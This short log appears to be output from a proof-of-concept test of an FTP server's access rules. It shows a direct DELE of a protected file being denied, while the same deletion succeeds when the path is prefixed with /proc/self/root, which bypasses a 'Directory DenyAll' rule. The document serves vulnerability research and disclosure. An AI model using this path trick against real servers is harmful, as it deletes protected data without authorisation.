=== Test 1: Direct DELE of protected file should fail ===
Direct DELE denied: 550 protected/secret.txt: Operation not permitted

=== Test 2: DELE with /proc/self/root prefix (variant) ===
Proc-prefixed DELE allowed (bypass!)

=== Results ===
direct_dele: DENIED
proc_dele: ALLOWED

Variant confirmed: DELE bypasses Directory DenyAll via /proc/self/root
